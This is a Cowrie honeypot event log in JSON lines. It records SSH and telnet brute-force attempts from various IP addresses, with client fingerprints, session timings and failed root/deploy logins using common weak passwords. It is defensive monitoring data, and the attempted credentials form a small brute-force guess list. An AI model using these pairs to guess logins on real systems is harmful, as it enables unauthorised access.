{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:48.425325Z","src_ip":"43.133.62.188","session":"ede613b3b0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd!","message":"login attempt [root/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:48.440745Z","src_ip":"103.188.177.46","session":"c2da38c48d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:48.662618Z","src_ip":"43.133.62.188","session":"ede613b3b0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:49.645947Z","src_ip":"43.133.62.188","session":"ede613b3b0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:49.680069Z","src_ip":"103.188.177.46","session":"c2da38c48d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:50.887398Z","src_ip":"43.133.62.188","session":"ede613b3b0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35366,"dst_ip":"10.17.0.5","dst_port":23,"session":"af83673738fc","protocol":"telnet","message":"New connection: 152.42.224.71:35366 (10.17.0.5:23) [session: af83673738fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:38:59.423846Z"}
{"eventid":"cowrie.session.closed","duration":104.2259566783905,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:01.803302Z","src_ip":"152.42.224.71","session":"4082cce0aace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.847429752349854,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:09.663455Z","src_ip":"152.42.224.71","session":"ba9ba655fb5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44992,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a98456d05ae","protocol":"ssh","message":"New connection: 62.133.63.178:44992 (159.203.135.109:22) [session: 0a98456d05ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:26.878231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:26.883384Z","src_ip":"62.133.63.178","session":"0a98456d05ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:27.010154Z","src_ip":"62.133.63.178","session":"0a98456d05ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sssssss","message":"login attempt [root/sssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:27.391428Z","src_ip":"62.133.63.178","session":"0a98456d05ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":57788,"dst_ip":"159.203.135.109","dst_port":22,"session":"d942ba991db1","protocol":"ssh","message":"New connection: 94.159.98.239:57788 (159.203.135.109:22) [session: d942ba991db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:27.438641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:27.461854Z","src_ip":"94.159.98.239","session":"d942ba991db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:27.611739Z","src_ip":"94.159.98.239","session":"d942ba991db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"expert","message":"login attempt [root/expert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:28.245755Z","src_ip":"94.159.98.239","session":"d942ba991db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:28.520001Z","src_ip":"62.133.63.178","session":"0a98456d05ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:29.385980Z","src_ip":"94.159.98.239","session":"d942ba991db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"50de55d508e7","protocol":"telnet","message":"New connection: 152.42.224.71:39112 (10.17.0.5:23) [session: 50de55d508e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:32.259202Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8740a5667114","protocol":"telnet","message":"New connection: 152.42.224.71:39124 (10.17.0.5:23) [session: 8740a5667114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:33.708281Z"}
{"eventid":"cowrie.session.closed","duration":57.181918144226074,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:34.755456Z","src_ip":"152.42.224.71","session":"32c28242d823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":35206,"dst_ip":"159.203.135.109","dst_port":22,"session":"e68f7fddfa3f","protocol":"ssh","message":"New connection: 43.156.28.136:35206 (159.203.135.109:22) [session: e68f7fddfa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:35.907096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:35.911965Z","src_ip":"43.156.28.136","session":"e68f7fddfa3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:36.151023Z","src_ip":"43.156.28.136","session":"e68f7fddfa3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:37.136306Z","src_ip":"43.156.28.136","session":"e68f7fddfa3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:38.377736Z","src_ip":"43.156.28.136","session":"e68f7fddfa3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":57942,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29cd29a9c6e","protocol":"ssh","message":"New connection: 102.210.148.92:57942 (159.203.135.109:22) [session: c29cd29a9c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:40.018047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:40.025870Z","src_ip":"102.210.148.92","session":"c29cd29a9c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:40.271501Z","src_ip":"102.210.148.92","session":"c29cd29a9c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola1234","message":"login attempt [root/Hola1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:41.284165Z","src_ip":"102.210.148.92","session":"c29cd29a9c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:42.532688Z","src_ip":"102.210.148.92","session":"c29cd29a9c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"90cee55b6a57","protocol":"telnet","message":"New connection: 152.42.224.71:50664 (10.17.0.5:23) [session: 90cee55b6a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:43.478375Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39384,"dst_ip":"10.17.0.5","dst_port":23,"session":"323f33e9d50e","protocol":"telnet","message":"New connection: 152.42.224.71:39384 (10.17.0.5:23) [session: 323f33e9d50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:46.533929Z"}
{"eventid":"cowrie.session.closed","duration":9.360105037689209,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:52.838387Z","src_ip":"152.42.224.71","session":"90cee55b6a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.14461660385132,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:39:55.403658Z","src_ip":"152.42.224.71","session":"50de55d508e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":45954,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1f5ee5dbd78","protocol":"ssh","message":"New connection: 103.188.177.46:45954 (159.203.135.109:22) [session: b1f5ee5dbd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:02.204106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:02.241367Z","src_ip":"103.188.177.46","session":"b1f5ee5dbd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:02.496616Z","src_ip":"103.188.177.46","session":"b1f5ee5dbd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:03.454231Z","src_ip":"103.188.177.46","session":"b1f5ee5dbd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:04.700448Z","src_ip":"103.188.177.46","session":"b1f5ee5dbd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":39786,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d0df21f268","protocol":"ssh","message":"New connection: 43.133.62.188:39786 (159.203.135.109:22) [session: 92d0df21f268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:07.330940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:07.344217Z","src_ip":"43.133.62.188","session":"92d0df21f268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:07.583479Z","src_ip":"43.133.62.188","session":"92d0df21f268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nn123456","message":"login attempt [root/Nn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:08.570597Z","src_ip":"43.133.62.188","session":"92d0df21f268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:09.813261Z","src_ip":"43.133.62.188","session":"92d0df21f268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":32792,"dst_ip":"10.17.0.5","dst_port":22,"session":"deebe28f9e2c","protocol":"ssh","message":"New connection: 78.111.67.246:32792 (10.17.0.5:22) [session: deebe28f9e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.175046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.185405Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
